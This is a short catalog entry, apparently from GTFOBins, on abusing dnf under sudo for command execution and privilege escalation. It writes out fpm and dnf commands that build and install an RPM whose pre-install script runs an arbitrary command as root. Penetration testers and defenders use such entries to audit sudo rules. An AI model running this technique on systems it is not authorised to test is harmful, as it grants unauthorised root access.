Catalog GTFOBins

GTFO · Tool

dnf

1 technique LinuxGTFOBins GPL-3.0

command

ExecutionPrivilege Escalation Linux

Generate the RPM package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target. ``` echo /path/to/command >x.sh fpm -n x -s dir -t rpm -a all --before-install x.sh . ``` The `--disablerepo=*` option is used for targets without Internet connectivity, can be omitted otherwise.

dnf install -y x-1.0-1.noarch.rpm --disablerepo=*
Context
sudo
Native
command
MITRE
T1059